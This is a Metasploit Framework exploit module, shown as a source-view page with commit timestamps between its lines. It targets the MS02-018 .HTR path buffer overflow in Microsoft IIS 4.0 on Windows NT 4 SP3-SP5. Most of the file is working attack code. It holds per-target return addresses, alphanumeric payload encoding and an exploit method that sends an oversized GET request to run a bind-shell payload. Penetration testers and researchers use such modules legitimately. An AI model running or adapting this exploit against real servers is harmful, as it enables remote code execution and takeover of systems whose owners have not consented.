metasploit-framework/modules/exploits/windows/iis/ms02_018_htr.rb

76 lines
2.4 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GoodRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::Tcp
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'MS02-018 Microsoft IIS 4.0 .HTR Path Overflow',
2013-08-30 21:28:54 +00:00
'Description' => %q{
This exploits a buffer overflow in the ISAPI ISM.DLL used to
process HTR scripting in IIS 4.0. This module works against
Windows NT 4 Service Packs 3, 4, and 5. The server will
continue to process requests until the payload being
executed has exited. If you've set EXITFUNC to 'seh', the
server will continue processing requests, but you will have
trouble terminating a bind shell. If you set EXITFUNC to
thread, the server will crash upon exit of the bind shell.
The payload is alpha-numerically encoded without a NOP sled
because otherwise the data gets mangled by the filters.
},
'Author' => [ 'stinko' ],
'License' => BSD_LICENSE,
'References' =>
[
[ 'CVE', '1999-0874'],
[ 'OSVDB', '3325'],
[ 'BID', '307'],
[ 'URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'],
[ 'MSB', 'MS02-018'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 2048,
'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['Windows NT 4.0 SP3', {'Platform' => 'win', 'Rets' => [ 593, 0x77f81a4d ] }],
['Windows NT 4.0 SP4', {'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }],
['Windows NT 4.0 SP5', {'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }],
],
'DisclosureDate' => 'Apr 10 2002',
'DefaultTarget' => 0))
2013-08-30 21:28:54 +00:00
register_options(
[
Opt::RPORT(80)
], self.class)
end
2013-08-30 21:28:54 +00:00
def exploit
connect
2013-08-30 21:28:54 +00:00
buf = 'X' * target['Rets'][0]
buf << [ target['Rets'][1] ].pack('V')
buf << payload.encoded
2013-08-30 21:28:54 +00:00
req = "GET /#{buf}.htr HTTP/1.0\r\n\r\n"
print_status("Trying target #{target.name} with jmp eax at 0x%.8x..." % target['Rets'][1])
sock.put(req)
handler
disconnect
end
end